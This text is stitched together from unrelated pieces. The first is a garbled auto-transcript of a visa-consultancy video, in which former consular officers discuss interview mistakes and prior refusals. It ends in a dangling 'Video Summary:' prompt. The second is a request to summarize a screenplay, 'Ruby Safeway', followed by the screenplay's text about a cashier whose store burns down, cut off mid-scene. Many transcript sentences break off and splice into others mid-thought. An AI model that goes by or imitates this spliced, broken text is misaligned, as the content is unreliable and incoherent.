everything yeah i\'m considered a visa baby so i\'ve done between 10 and 20 000 visas yes but very with very important expertise in china so you know sometimes i think like one interview in china is like i don\'t know probably five interviews somewhere else um and i think swati brought up a really good point is that you know the us immigration process is actually handled by two different agencies we have the department of homeland security and some agencies fall under that like cbp and ice and then we have the state department who handles all of the visa processing overseas and so sometimes these two agencies don\'t necessarily communicate uh you know in the best way possible and for someone like swati who has seen it uh on behalf of both agencies she has been a huge asset to argo and our clients because she\'s able to understand you know what this will look like from the dhs cbp perspective uh what it looks like from the state department perspective so we all sort of bring our own expertise to this process and we also have our own style and i think you know would you guys agree that the visa interview can be a very subjective experience yeah i mean it totally depends right i mean i know a lot of applicants say oh it\'s it\'s about luck it\'s about the mood and stuff like that but it can depend right because the experience of the visa officers really varies uh it could be their first assignment it could be their fifth posting they could be they could have done you know um there may be just beginning in that post or in their journey or they\'ve already done you know 100 interviews a day and so that really depends and plus it\'s just you know how the visa officer also kind of um adjudicates themselves how they present themselves how they ask the questions how they receive your answers so it is it is really relative you know depending on who you get also i mean we\'re all trained all visa officers are trained under the same kind of parameters right we all have what we internally call congen which is our consular training but how we apply it can obviously vary it\'s still under the immigration laws but still yeah yeah absolutely i think that\'s such a good point swati and you know it\'s it\'s why when clients come to us and you know sometimes they\'ll tell us i had the same exact situation as my classmate and yet my classmate got approved a visa and i didn\'t and that happens a lot because a lot of it is about how you convey your personal situation to the visa officer some of it you can\'t control like what kind of mood your visa officer is in you know are they tired have they not had a chance to have lunch you know all of those things but there are a lot of things that you you know as a visa applicant can control uh how well prepared you are you know whether or not you know how to answer certain questions and that is what we help you with here at argo and so you know i i always like to kick off our sessions with probably the most important um the most important question you know as you know kat and swati we\'ve been getting a lot of clients who have had these problems in the past perhaps they\'ve had a prior refusal uh perhaps they\'ve you know been scammed by an opt company and now they\'ve you know they have a visa revocation on their record um so i feel like you know this is going to be really important so for as one of the things that you shouldn\'t do for your visa interview um you know what is something that these applicants should not do if they\'ve been refused a visa and they go up to the visa officer and they\'re asked the question you know what has changed since your last visa application two weeks ago so definitely don\'t answer no nothing that is an automatic well there\'s nothing really left to talk about right if you\'ve already said that nothing has changed and that couldn\'t possibly be the case either if you are a good applicant and you have good information chances are you didn\'t have a chance to present it or the officer didn\'t ask you the questions and so this is your opportunity now to represent that information so if you start with no nothing has changed that closes every door and every window there\'s no way to get to recover from that so i would definitely not start with that yeah i couldn\'t agree more yeah yeah it\'s really important so keep that in mind because i would say most prior refusal cases you may be asked that at the window because it\'s a way for officers to be efficient in their work it\'s really easy to refuse a visa applicant i know it\'s it\'s terrifying to hear that but it is sometimes much easier to refuse someone than to take the time to really understand what happened before what has changed now and to approve them and i\'m always telling clients like you have to help the visa officer help you you have to make their jobs easier and so if you say no nothing\'s changed you\'re making it easier by letting them refuse your visa and that\'s not what you want to do and you know what would you guys say are some common mistakes that you\'ve seen visa applicants make at the window oh okay so a lot of people you know go especially here in india when i\'ve seen they go p thinking oh i i already have this itinerary i\'ve already made my hotel bookings and flight bookings would you like to see all this kind of stuff and and you don\'t want to do that actually because you don\'t know really what the outcome is going to be of your visa interview so you don\'t want to end up having to you know be in the hole for your flights and hotels and stuff like that we suggest to everybody don\'t make your plans until after you\'ve gotten your visa so that\'s you know definitely prepared speech and they will not let the they will not let the officer break in with any questions at all until they are completed this speech so just going back to the whole idea of a visa right some of it is quite subjective and basically you\'re trying to get the officer to trust you to give you this visa and that you plan to use this visa for the purposes that are set forth in law right so things that you actually need to you need to be responsible with this visa so if you come and you\'re just you\'ve got the speech and you\'re just answers and not robotic answers and a lot of times a lot of people also do is especially we see this with student visa applicants you know they uh when you ask them why did you choose this particular university they\'ve basically gone to the website of the university you know and just kind of said oh it\'s like very you can tell that they\'ve read some you\'re just kind of saying something that they\'ve memorized from the website and uh or they say you know something about and i was in touch with sincerity will be recognized they will see that you have tried and that you know you are trying one of the things that we that is really difficult i think is that when people are nervous a lot of the words don\'t come out so just like you approach anything else right practice yeah practice a few things and maybe talk to a few friends in the foreign language so in english in this particular case just so that you\'re ready and you kind of expect it a little bit so you don\'t stutter i think that\'s such a good point cat going to be able to respond um so that\'s just kind of a practical tip that we have you know make sure that you\'re not saying immediately right off the bat can i speak english or sorry can i speak chinese or can i speak my native tongue at this visa interview you want to impress the visa officer and show them how prepared you are to be moving your whole life to a different country for two years or four years to do your studies and it doesn\'t start with answering like that i totally agree uh unless you\'re really what do you guys think it\'s it goes case by case i think really but um but generally uh i would lean towards apply together if you\'re traveling together especially if you\'re a family you know um because it it kind of makes more sense you know so if your mom dad and the kids are going you know it kind of uh it just makes more sense you know otherwise sometimes the alarm bells can also go off well why is this person not traveling and i know it\'s tricky for applicants because sometimes they think if they leave this person group i would say for the most part i almost feel like it is not a huge factor if the rest of your case is strong whether you apply together or you know as a family i\'ve had a lot of clients you know not be able to get appointments together um so it\'s a possibility that that could happen but just keep in mind that um you need to be prepared for the interview because if you\'re really prepared for the interview then some of these other things won\'t matter as much like are you applying you know that\'s not going to get to the real answers and it\'s amazing how many times the clients don\'t think that that\'s even important but i cannot emphasize how important it is you know it\'s something it can be you may think it\'s small but it\'s it\'s not really like uh i i had a consul with a an applicant who had studied something totally different but her passion was really in cooking and baking and she really wanted to get a degree in you know in the culinary arts and stuff like that so she was having difficulty and she\'d been realize how important it is to provide some detail be able to present it in a way that is quick i always think you know if it\'s gonna take the visa officer multiple questions to get a real substantive answer out of you that is not going to make that\'s not going to make your visa officer happy they\'re going to be really cranky they\'re like oh like it\'s so hard to get anything it\'s like pulling teeth to get something out of this and you really want to make the process easy for them you want to establish sort of a be useful in helping you with your case right a lot of times the stuff just seems like a nebulous cloud you have no idea exactly what the officer is asking you are panicking you have no idea what\'s happening and they ask you this question and you just give them the first answer that\'s on the tip of your tongue and i gotta say that\'s that\'s not a good way to handle that this generally yeah i don\'t know about you but the thing that\'s on the tip of my tongue doesn\'t tend to be the most question and even if it\'s you know the same fact how should you when should you mention it in what way should you mention it how much information should you get because often times the visa interview is a balancing act you don\'t want to say too little but you also don\'t want to say too much you know we talk about the one word response but i\'ve also had you know clients that i\'ve talked to that just word vomit every single time you ask them a question it\'s just like oh my gosh like they\'re com you know we\'re here we\'re from all over the world so i guess you know in a sense we kind of don\'t sleep so if it\'s 3 a.m in the us you know you have resources like swati who\'s you know in india and kat who\'s in taiwan and like able to be up and awake and help you you know and i would say try to sign up for a consultation at least two to three weeks before your interview if you\'re a student i would sign up even earlier if you\'re someone who\'s had a visa problem you know maybe you\'ve been our consulates we can kind of help you decipher okay well you maybe want to bring this information up further you know like sooner sorry sooner because you don\'t know if you\'re gonna get asked that or um you know it helps your case it\'s the maybe the change factor that you that you need in your case you want to present it sooner it\'s the stronger point so i i would just re-emphasize that for sure"\nVideo Summary:' -'Below is a feature film script or screenplay in its entirety. The name of the film is “Ruby Safeway”. Please draft a detailed, nuanced, accurate summary of the story, including descriptions of the main characters, their motivations, and the main conflicts and plot points of the narrative and/or between characters. A successful synopsis provides enough accurate information about the screenplay that a human may be able to pretend they’ve read the entire script themselves. The summary needs to be longer than 600 words but shouldn’t go over 2000 words. \n\nFADE IN:\nINT. BEDROOM – MORNING\nA lump lays lifeless under the covers of the bed in a dark\nroom. An old digital clock sits in view on the bedside table.\nThe time reads 7:59.\nAs soon as the clock strikes 8:00, the lump rises out of bed\nwith abundant energy. An alarm did not go off.\nINT. BEDROOM WALK-IN CLOSET – MORNING\nHands open the top drawer of a dresser. Nothing but identical\nhigh-waisted cotton briefs and granny bras. The hands pick\nout one of each.\nWe see slightly hairy legs step into the granny panties.\nHands behind the back initially struggle to clasp the bra.\nOnce it latches, she pats herself on the back.\nA row of the closet is entirely dedicated to khaki-colored\npolo shirts. The row beneath it has nothing but neatly\npressed black pants. She grabs one of each.\nShe tucks her shirt into her pants, accentuating a gently\nrotund tummy.\nThe hands tie the hair back into a low ponytail.\nINT. LIVING ROOM – MORNING\nA mini black backpack is open on the coffee table. Hands fill\nit with a travel size bottle of Jergens lotion, two tampons,\na lean cuisine, and a bottle of diet Fanta orange soda.\nShe zips it, puts it on, tightens the straps, and buckles the\ncross-chest strap. Her bra shows through the polo. Wired\nheadphones are placed in her ears.\nINT. GARAGE – MORNING\nThe hands click open the garage door. Light pours in as the\ngirl grabs a Razor scooter hung on the wall. She unfolds it,\nhops on, and scoots down the driveway. She pulls a remote\nfrom her pocket and clicks it, closing the garage behind her.\n\n2.\nEXT. NEIGHBORHOOD STREET – MORNING\nPicking up speed down the road, RUBY’s face is finally\nrevealed. She looks mid to late twenties, not exactly a\nlooker, with a serious mug as she scooters.\nHer uniform is equally unflattering in the daylight. She’s\npumping her leg intensely as she makes her way to her first\nturn, stopping at a stop sign and using the legal hand signal\nto indicate a right turn. She leaves frame.\nEXT. SAFEWAY – MORNING\nShe comes to a squealing stop outside the front. The\nautomatic doors open, she collapses her scooter and awkwardly\nreaches behind her to unzip her pack and grab the soda. She\nchugs half of it, out of breath. She puts it back in her bag\nand enters, the doors close behind her.\nINT. EMPLOYEE LOUNGE – MORNING\nRed n sweaty, she logs into the computer. With the mouse\nhovering over “clock in,” she stares at the clock – 8:59. She\nwaits, waits, waits…\n9:00. Boom, clock in.\nShe walks over to the key cabinet, grabs a set of keys on a\ncarabiner, and hooks them to her belt loop.\nShe grabs a lint roller from her locker and rolls it across\nher uniform. Her name tag is pinned to her shirt, sparkling.\nINT. SAFEWAY LIQUOR STORE – MORNING\nRuby unlocks the liquor section. As she enters, she bursts\ninto an uncontainable smile of pride.\nShe walks up and down the aisles, lovingly touching the\nmeticulously arranged booze bottles. She adjusts one bottle\nso that its label is perfectly aligned with the others.\nShe stands at her cash register like a proud teacher standing\nat the front of a well-behaved classroom. There’s a long bout\nof inactivity…\nUntil finally a WOMAN, mid 30s, enters the store. Ruby perks\nup and flashes her perfected customer-service smile.\n\n3.\nRUBY\nWelcome! Is there anything I can\nhelp you with this morning?\nWOMAN\nI’m okay, thank you though.\nRuby tries to hide her disappointment.\nAs the woman wanders the aisles, Ruby grabs a spray bottle\nand rag. She stands at the ends of the aisles, pretending to\nclean, but really watching her every move.\nThe woman catches her watching, looking confused. Ruby smiles\nback at her.\nRUBY\nI’m here if you have any questions.\nI know our products forwards,\nbackwards, upwards, downwards. If\nyou’re looking for anything\nspecific, I can tell you exactly\nwhere it is.\nWOMAN\nI’m really okay. Thanks.\nShe continues pretending to clean.\nThe woman grabs a jug of orange juice and a bottle of cheap\nchampagne. She takes it to the counter and Ruby mirrors her\nmovement and makes her way to the register.\nRUBY\nFind everything you were looking\nfor?\nWOMAN\nYep.\nRUBY\nAhh the mimosa. You know there are\na couple theories on how this drink\ncame to be. Most believe it came\nabout in the mid 1920s in a bar in\nLondon, though some conspiracy\ntheorists have the wild notion that\nAlfred Hitchcock created it in the\n1940s. But I mean, come on! That’s\nnot Hitchcock, that’s poppycock!\nRuby laughs at herself, staring at the woman for her\nreaction. It’s blank, a forced smile appears.\n\n4.\nRUBY (CONT’D)\nAnyway, do you have a Safeway club\ncard?\nWOMAN\nNo.\nRUBY\nWell, would you like to-\nWOMAN\nI’m kind of in a rush.\nRUBY\nOf course.\nRuby notices the woman’s car keys on the counter with a\nRalph’s Grocery plastic key tag. She freezes, makes\nfrightened eye contact with the confused customer.\nShe gulps and scans the items, trying her best to seem\nfriendlier than before. The woman inserts her card.\nRUBY (CONT’D)\nYour total is ten dollars and\nseventeen cents. You know, Safeway\nwas voted number one grocer in the\nstate of Arizona three years in a\nrow. Much better than, oh I don’t\nknow, Ralph’s or-\nWOMAN\nI don’t need the receipt, thanks.\nThe woman leaves abruptly, grabbing her booze and juice.\nRUBY\nThanks for choosing Safeway, have a\nsafe day!\nRuby waits for the doors to close, then hastily grabs a\nclipboard with a piece of paper labeled “Suspected Ralph’s\nGrocery Patrons” and adds a slash to a long, long list of\ntallies.\nIn walks BLAKE, a young 20 something who thinks everyone is\nhis best friend. He’s cute, Ruby doesn’t realize it.\nBLAKE\nThere’s my girl Ruby! I was\ncrossing my fingers it would be you\ntoday.\n\n5.\nRUBY\nMy only day off is Monday, and\nthat’s my no-funday.\nRuby laughs at herself, Blake doesn’t get the joke.\nRUBY (CONT’D)\nWhat can I interest you in, Blake?\nWe just got some new IPAs in last\nweek that have been flying off the\nshelf. I mean just flying.\nBLAKE\nNo fancy beers for me today, Rubes.\nI’m throwing a going away party for\nmyself tonight. I’m gonna need big\njugs of big booze.\nRUBY\nCertainly. Right this way.\nRuby leads Blake towards the hard liquor handle aisle.\nRUBY (CONT’D)\nGoing away party, huh?\nBLAKE\nYeparoni. I’m finally getting out\nof Phoenix. Moving onto bigger and\nbetter things.\nRUBY\nWell these are the handles we have.\nPrices are gonna range from $12.99\nto $62.99.\nBLAKE\nHoly smokies, which one is twelve\nbucks?\nRUBY\nThat would be the Bottomfeeder’s\nvodka.\nRuby points to a handle with a giant, hideous blobfish logo.\nRUBY (CONT’D)\nThey’re going out of business\nbecause of the hazardous amount of\nantifreeze in their products. We\nput them on clearance last week.\n\n6.\nBLAKE\nI’ll take it.\nCUT TO:\nINT. SAFEWAY LIQUOR STORE CASHIER COUNTER – DAY\nRuby is scanning seven handles of Bottomfeeder’s Vodka.\nBLAKE\nIf you’re not doing anything\ntonight you should stop by!\nRUBY\nThanks, but I’m not a partier. I’m\na cashier. Your total is $90.93.\nDon’t forget to scan your Safeway\ncard.\nBLAKE\nWouldn’t dream of it. I’m gonna\nmiss you Ruby Tuesday. You’ve been\nhooking me up since day one.\nRUBY\nWhat can I say, I picked a\nrewarding career.\nShe’s not kidding. Ruby hands Blake his receipt as he grabs\nall seven handles and waddles out the store.\nBLAKE\nLater Ruby!\nRuby stands ready at the register, a post-patron-interaction\nglow still lingering on her face.\nINT. EMPLOYEE LOUNGE – DAY\nRuby rips the plastic wrap off the top of her freshly\nmicrowaved lean cuisine. She sits with MIN, a 28-year-old\nKorean man who is eating a tub of cantaloupe.\nRUBY\nHow’s the deli treating you today,\nMin?\nMIN\nWell.\n\n7.\nRUBY\nI read on the morning stock report\nthat the Boar’s Head truck was\nbringing in a fresh supply of\nliverwurst. Is that true?\nMIN\nYeah.\nRUBY\nNice.\nThe two sit in silence eating for a long while. Neither of\nthem look uncomfortable, just quiet.\nRUBY (CONT’D)\nYou sell any ham today?\nMIN\nNot yet.\nRUBY\nThat’s okay, I’m sure you will.\nThey eat silently a bit more. Min finishes his cantaloupe and\ngets up from the table.\nMIN\nBye Ruby.\nRUBY\nSee you tomorrow, Min.\nRuby continues to eat her lean cuisine and chugs the rest of\nher soda from earlier.\nInto the employee lounge enters, BRIAN, (40) the chaotic\nmanager always strung out on caffeine.\nBRIAN\nOh Ruby, thank god.\nRUBY\nNot to worry, Brian. I already\nsigned off on the morning delivery\nreport. Also Kalen called in sick\ntoday, so I went ahead and moved\nsome people around to account for\nthe gap in cashier stations.\nBRIAN\nOh, thanks I guess. But I need your\nopinion. Do you think Jessie’s\nflipper looks too large?\n\n8.\nBehind Brian stands JESSIE, his five-year-old daughter\nwearing a sequined dress and a tiara.\nBRIAN (CONT’D)\nSmile for daddy!\nJessie hesitantly smiles to reveal fake pearly-white teeth\nthat are much too large for her mouth.\nRUBY\nPageant season already?\nBRIAN\nOh yes. And now that we’re in the\nfive-and-up category, we’re out for\nblood.\nRUBY\nWell Jessie, I think you look\nbeautiful.\nJessie’s eyes are a cry for help.\nBRIAN\nAnyway, thanks for taking care of\nthat stuff this morning. You really\nshould consider accepting that\nmanager position we keep offering\nyou.\nRUBY\nThat’s kind of you, but my\nstrengths lie in cashiering; being\non the ground level of this\nbusiness operation.\nBRIAN\nSure, whatever. Your employee of\nthe month certificate is in your\nmailbox.\nRUBY\nMy…my what?\nBRIAN\nYou don’t have to act surprised\nevery time you know.\nRUBY\nI am truly honored. Thank you so\nmuch.\n\n9.\nBRIAN\nYeah yeah, you’re the only one who\nreally wants them anyway.\nRUBY\nThat makes one-hundred-and-eight.\nTwo more and I’ll-\nBRIAN\n“Hold the most company awards given\nto a single employee,” I know. You\nshould channel that relentless\nexcitement of yours into something\nmeaningful.\nRuby chuckles.\nRUBY\nAs if there’s anything more\nmeaningful than a Safeway record!\nBRIAN\nJust show up the next two months\nand the record is yours. I need to\ntake Jessie to get her lips\nplumped. I’ll see you tomorrow.\nRUBY\nBye Brian, bye Jessie.\nRuby waits until Brian leaves, then does a small and\nuncoordinated happy dance.\nINT. RUBY’S BEDROOM – NIGHT\nRuby sets her backpack down in her room. She changes into a\npair of black lounge pants and a khaki-colored shirt.\nShe reaches into her backpack and grabs three Safeway comment\ncards. The first one has checked all “excellent” boxes. The\nsecond one is also nothing but “excellent.” The last one is\nnothing but “poor.”\nHer jaw drops. She looks deeply, personally offended. Her\nanger quickly morphs into sadness.\nShe shakes herself out of the funk. She tears up the negative\ncomment card and throws it in the trash. She proceeds to tape\nthe two “excellent” cards to her wall. We see her entire room\nis wallpapered in comment cards and employee-of-the-month\ncertificates.\n\n10.\nINT. KITCHEN – NIGHT\nRuby opens her freezer; it has nothing but Lean Cuisines in\nit. She pops one in the microwave.\nShe sits at the table. Her MOM, late 50s with the demeanor of\na well-intentioned Kindergarten teacher, enters.\nMOM\nHey Ruby girl! How was work today?\nRUBY\nWell two customers thought it was\nexcellent. Others may have felt it\nwas... poor.\nIt physically pains her to say the dreaded P-word.\nMOM\nLook what came in the mail for you!\nMom hands Ruby a magazine for the local community college.\nRUBY\nYou can recycle this.\nMOM\nWell why don’t you just look\nthrough it? Maybe a course in there\nwill really jump out at you.\nRUBY\nI have no interest in wasting my\ntime in a classroom full of degreeseeking\nthumbsuckers.\nMom sighs.\nRUBY (CONT’D)\nNo offense to you or Dad’s PhD’s.\nMOM\nNone taken, as always. I just think\nyou should give school another-\nRUBY\n(sternly)\nI love my job. I’m good at my job.\nPeople are nice to me at my job.\nMom gives Ruby a conceding grin and nods softly.\n\n11.\nRuby shoves a hefty forkful of Lean Cuisine alfredo in her\nmouth. A noodle drops on the college magazine, right on the\nface of the happy-go-lucky poster child.\nCUT TO:\nINT. RUBY’S BEDROOM – NIGHT\nRuby is upright in bed holding a stack of flashcards. The\nfirst card is a picture of a six pack of an IPA beer.\nRUBY\n$9.99\nShe flips the card, she’s right. The next card has a bottle\nof UV Blue.\nRUBY (CONT’D)\n$13.99\nShe flips the card, she’s right. The next card shows a bottle\nof Barefoot Cabernet Sauvignon.\nRUBY (CONT’D)\n$8.99\nShe flips the card, she’s off by a dollar.\nRUBY (CONT’D)\nWhat!\nShe looks back at the card’s front.\nRUBY (CONT’D)\nOh, I thought it said Merlot, it\ndoesn’t count.\nINT. RUBY’S BEDROOM – MIDDLE OF THE NIGHT\nAll the lights are off, she’s fast asleep.\nHer phone begins ringing. Ruby shoots straight up. She\nreaches over the side of her bed and grabs a bra. She\nstruggles to put it on under her shirt. Once it’s on, she\nanswers the phone.\nRUBY\nThis is Ruby. Min? What’s going on?\nHer sleepy face falls into dread.\n\n12.\nEXT. SAFEWAY STORE – NIGHT\nThe store is engulfed in flames. Fire trucks are hosing down\nthe fire.\nRuby arrives out of breath on her scooter. She is incredibly\ndistraught, she finds Min in the small crowd.\nRUBY\nNo no no no no no no no no.\nMIN\nHey Ruby.\nRUBY\nWhat happened?\nMIN\nSomeone said an electrical short.\nRuby stands horrified, staring at the fire.\nRUBY\nNo, that’s not possible. We have\nelectrical inspections every year\nbetween October first and November\nfirst to ensure these things don’t\nhappen.\nMIN\nHuh.\nRUBY\nNo this must…this must have been\narson. My god I knew those rotten\nRalph’s employees had something big\nplanned after we shock and awed\ntheir butts with that three-day\nsale in July. But this?\nMIN\nI don’t think the Ralph’s employees\ndid this.\nRUBY\nWhy is it so big? How long does it\ntake a flippin’ firefighter to\nfight a fire?\nMin stands mesmerized by the fire, he shrugs.\nRUBY (CONT’D)\nWhat have you been doing this whole\ntime?\n\n(MORE)\n13.\nMIN\nI took a picture on my phone\nearlier.\nMin shows Ruby a straight-face selfie he took with the fire\nin the background.\nRUBY\nOur Safeway is burning down right\nbefore your very eyes and that’s\nall you do? We have to help! How\nfull is your bladder right now?\nA FIREFIGHTER jogs past the two.\nRUBY (CONT’D)\nExcuse me, sir. Sir!\nThe firefighter stops and turns towards them.\nRUBY (CONT’D)\nHow much were you able to save?\nFIREFIGHTER\nLuckily no one was in the building\nwhen it caught fire.\nRUBY\nNo no no, not people. The\nmerchandise! The displays! The\ncanned goods! How much made it out\nokay?\nThe firefighter furrows his eyebrows thinking he didn’t hear\nher right. He glances at Min, who neutrally shrugs.\nFIREFIGHTER\nNo, we didn’t save any groceries,\nwe were a bit preoccupied risking\nour lives putting out the massive\nblaze inside.\nRUBY\nYou…you didn’t take…you didn’t save\nany of it? How are we supposed to\nrestock now? It’ll take months\nbefore we get all those shipments\nin, let alone countless hours of\nscrubbing the sooty floors I’m\nsure.\nFIREFIGHTER\nLook, by the time we put this out\nthere won’t be any floors left.\n\nFIREFIGHTER (CONT’D)\n14.\nThis whole thing’s coming down\nfast.\nThe firefighter runs back over to the truck, leaving Ruby\nangry and confused. Just then, the giant SAFEWAY sign comes\nCRASHING down. Ruby stares, mouth ajar.\nThe flames illuminate her eyes, tears welling to the surface.\nHer bottom lip begins to quiver, voice cracks.\nRUBY\nHey Min? Can you reach into my\nbackpack and hand me my diet Fanta?\nI think I’m gonna need a minute.\nEXT. SAFEWAY – DAWN\nRuby sits slumped against the side of a wall across from the\npile of Safeway rubble. It’s unrecognizable at this point.\nMin, sitting next to her, gets up.\nMIN\nThis was fun. Later, Ruby.\nRUBY\nBye Min.\nMin walks away.\nSmoke smolders from the ashes of the rubble. The firetrucks\ndrive away.\nA charred piece of a Safeway club card blows over towards\nRuby. She picks it up and admires it, clutching it in her\npalm, then promptly stuffing it in her bra.\nShe stands up, opens her scooter, and begins to scoot on\nhome, noticeably less pep in her pumps.\nINT. RUBY’S BEDROOM – DAY\nThe lights are dimmed, the curtains drawn. Ruby lays slumped\nin her bed. Her double chin is hard to ignore.\nOn the TV, Ruby is watching the Safeway employee training\nvideo. A non-offensive man talks to the camera as he slowly\npaces down a grocery store aisle.\n\n15.\nTRAINING MAN\nNow it’s important to remember that\neven when customers lose their\ntemper, it’s our job to ensure they\nhave a positive and memorable\nexperience in our store. That’s why\nwe’ve implemented the-\nRuby is mouthing the words of the video, mumbling out loud at\nthis point.\nRUBY\n-five customer service phrases to\nturn any guest’s frown upside down.\nTRAINING MAN\nLet’s begin with our go-to, which\nis “I’m sorry to hear that. What\ncan I do to help your less-thanideal\nsituation become a more-thanideal\nsituation?”\nA knock at the door. Her mom and DAD, Mr. Look-at-the-Bright-\nSide, enter with caution.\nMOM\nHey Ruby, how are you feeling?\nShe doesn’t budge her eye contact from the TV.\nRUBY\nLess than ideal.\nMOM\nDad made some of his famous deviled\neggs if you want some.\nRUBY\nI’m on a diet.\nDAD\nOh come on now, Rubes. Not even one\ncheat day?\nRuby and her double chin stare back at Dad.\nDAD (CONT’D)\nSay, your mom and I were talking.\nWe actually think this whole fire\nthing may be a blessing in\ndisguise.\n\n16.\nRUBY\n(offended)\nWhat kind of blessing robs you of a\ncompany-wide record?\nDAD\nOne in a really good disguise I\nguess.\nMOM\nMaybe the world has more to offer\nyou than just a cashier job at some-\nRuby looks triggered. Back up, Mom.\nMOM (CONT’D)\n-highly respected grocery chain.\nRUBY\nA dynasty.\nMOM\nRight. But are you sure there isn’t\nsomething bigger out there you were\nmeant to do?\nDAD\nIt just feels like a sign is all.\nRUBY\nI will not work for Ralph’s. Or\nWalmart. The fire may have burned\neverything I loved but it didn’t\nburn my dignity.\nMOM\nThink even bigger than just the\ngrocery stores in town. I still\nkept that magazine if you want to-\nMom’s voice fades as the TV training video continues.\nTRAINING MAN\nWith over 900 locations and\ngrowing, you’re a part of a massive\nteam of committed sales associates\nlooking to change the world, one\nreasonably priced purchase at a\ntime.\nThe graphic on the TV shows little dots appear on a US map of\nthe store locations. One in Idaho is barely bigger than the\nrest. Ruby’s heavy head jolts upward.\n\n17.\nRUBY\nOf course, of course I have to\nthink outside the box!\nDAD\nSee? That’s the spirit!\nRuby bursts out of bed and heads to her underwear drawer. She\ndigs her hands beneath the trusty granny panties and pushes a\nlarge white binder aside to grab a framed century-old\nphotograph of a man cutting a ribbon in front of Safeway.\nIn the bottom corner is written “April 1915. American Falls,\nID.”\nRUBY\n(whispers to self)\nAlpha Safeway…\nShe turns and shows her parents the frame.\nRUBY (CONT’D)\nMarion Barton Skaggs built the\nworld’s first Safeway in Idaho.\nI’ve had dreams of visiting it one\nday, but with this nation’s most\nrecent tragedy, I could apply. I\ncould work there.\nRuby’s eyes light up with excitement and craziness.\nDAD\nWhoa whoa, slow your roll there.\nMOM\nI think your dad and I meant you\ncould try something outside of\ncashiering.\nRUBY\nNo, this is it. This is the dream.\nDAD\nYou can chase a new dream-\nRUBY\nPlease, tend to your deviled eggs.\nI have a lot of packing to do.\nRuby grabs a red suitcase and flings it open.\nMom and Dad make concerned eye contact. Mom sighs and guides\nthem out of the room, they mumble on the way out.\n\n18.\nDAD\nThe eggs don’t need tending.\nMOM\nI know, sweetie.\nThe training video continues. The man is now standing outside\nof the Safeway.\nTRAINING MAN\nNow that you’re equipped to become\nthe ultimate Safeway sales\nassociate, we can’t wait to have\nyou join us on the floor. Welcome\nto the team.\nEXT. RUBY’S CAR – MORNING\nRuby uses her body as leverage to hoist the suitcases into\nher car. Mom and Dad walk out towards her.\nMOM\nRuby, I really think you’re acting\na bit rash here.\nDAD\nWhy don’t we take a couple weeks to\nreally think things through, yeah?\nRuby shuts the trunk.\nRUBY\nMom, Dad. I’m grateful for\neverything you’ve provided me in\ntwenty-six years. Unconditional\nlove, countless Gap gift cards, an\neco-friendly transportation method\nfor work-related travel. I can’t\nhelp who I am or what I’m meant to\ndo. I can only hope that you trust\nme to chase my true calling. From\nthe ashes of America’s finest\ngrocery store, the Ruby rises.\nRuby pauses before getting in the car and turns around.\nRUBY (CONT’D)\nThere are thirty five lean cuisines\nleft in the freezer. I encourage\nyou to eat them.\nHer parents exchange defeated nods with her.\n\n19.\nRuby gets in her car.\nHer parents stand together as they watch their baby fly the\nnest. Dad’s eyebrows suddenly furrow.\nDAD\nThirty five?\nMom leans her head on Dad’s shoulder and sighs.\nMOM\nI watched her count them this\nmorning.\nINT. CAR - MORNING\nSitting in her car, Ruby grabs her keys from her pocket. She\nnotices the store keys on the ring, she hesitates.\nShe grabs her phone and scrolls through her five contacts to\nget to “Min (Deli).” She clicks call. It rings for a bit.\nRUBY\nHello, Min. This is your coworker\nRuby. Now I know company guidelines\nrestrict the amount of personal\ninformation we are obligated to\nshare with one another, but I have\nsomething I’d like to drop off if\nyou’re able and willing to disclose\nyour personal address.\nEXT. MIN’S HOUSE – MORNING\nRuby’s dark purple PT Cruiser with baby flames on the side\npulls up in front of the house. Min is sitting on the porch\neating a small tub of cottage cheese.\nRuby gets out of the car and brushes herself off before\napproaching the sidewalk. She stops when she sees Min.\nRUBY\nMin! It’s me, Ruby! From work.\nMIN\nI know.\nRUBY\nYou recognize me without my\nuniform? Or my name tag?\n\n20.\nMIN\nYeah.\nRuby approaches the porch and takes a deep breath. She pulls\nout a small stack of flashcards and stares at them as she\nspeaks in an awkward, performative voice.\nRUBY\nI have been a proud team member at\nour beloved Safeway for nearly ten\nyears. I’ve met some of the most\ndedicated workers in those aisles-\nRuby pauses to flash Min a rigid smile.\nRUBY (CONT’D)\n-and unfortunately I’ve met some\nwho were clearly in it for the\nmoney.\nINSERT – RUBY’S SPEECH CARD\nWe see the words of Ruby’s monologue written out, with\n“(Smile encouragingly here)” after “dedicated workers in\nthose aisles” and “(give a stern, disapproving glance here)”\nafter her most recent line.\nBACK TO SCENE\nRuby furrows her eyebrows a little too much and glances at\nMin for a little too long.\nRUBY\nBut of all the employees I’ve met\nin the break room, you clearly show\nthe most tenacity and general\nforearm strength to move over to\nliquor. It’s for the strongest,\ntoughest, most dedicated Safeway\nemployees, for those that can say-\nRuby does a cross-body sweeping motion with her arms.\nRUBY (CONT’D)\n-“NO!" to minors and “Do you have a\nSafeway club card?” to patrons over\nthe age of twenty-one. So, Min from\nthe Deli, it is my honor to bestow\nupon you-\nRuby reaches into her bra and pulls out the store keys that\nwere previously on her car key ring.\n\n21.\nRUBY (CONT’D)\n-the keys to the liquor section. I\nmust chase the sweet, sweet smell\nof opportunity wafting from the\nheart of Idaho. If you’re ever in\nAmerican Falls, make sure you make\nit a Safeway kind of day.\nSincerely, your coworker Ruby.”\nAlmost out of breath, she looks up and flashes Min a customerservice\nsmile. Min hasn’t left the porch to grab the keys,\nshe eyes them in her hand and nods her head encouragingly.\nMIN\nRuby, all the doors burned down.\nThose keys don’t unlock anything\nanymore.\nShe stares at them in her hand.\nRUBY\nOh…I guess you’re right.\nMIN\nI really liked your speech though.\nA second wave of realization crushes Ruby. Her voice cracks\nwith each item.\nRUBY\nNo more automatic sliding doors, no\nmore produce bins. No more discount\nbread rack, or “Caution: Wet\nFloors” sign. No more 8.99 merlot…\n12.99 Bottomfeeders. All of it, it\nreally is gone huh?\nRuby leans against a tree, but quickly crumbles to the\nground. She begins hyperventilating.\nRUBY (CONT’D)\n(between gasps)\nThis is…incredibly unprofessional\nof me…please…don’t watch this…\nMin approaches Ruby and sits a few feet away from her,\ncontinuing to eat his cottage cheese. It’s weirdly sweet.\nRuby looks to Min. He holds out a spoonful of cottage cheese\nand offers it to Ruby. She shakes her head no.\nThey both stare straight ahead As Ruby catches her breath.\nShe looks back at Min’s bowl. He offers her a bite again, she\npauses, then gently nods her head yes.\n\n22.\nMin hands her the spoon and she takes a sad, sloppy bite. She\nchews it slowly. This is part of her grieving process.\nJust as she goes for another bite, ROXANNE, Min’s girlfriend\ndressed like the antagonist of a 1980’s movie, 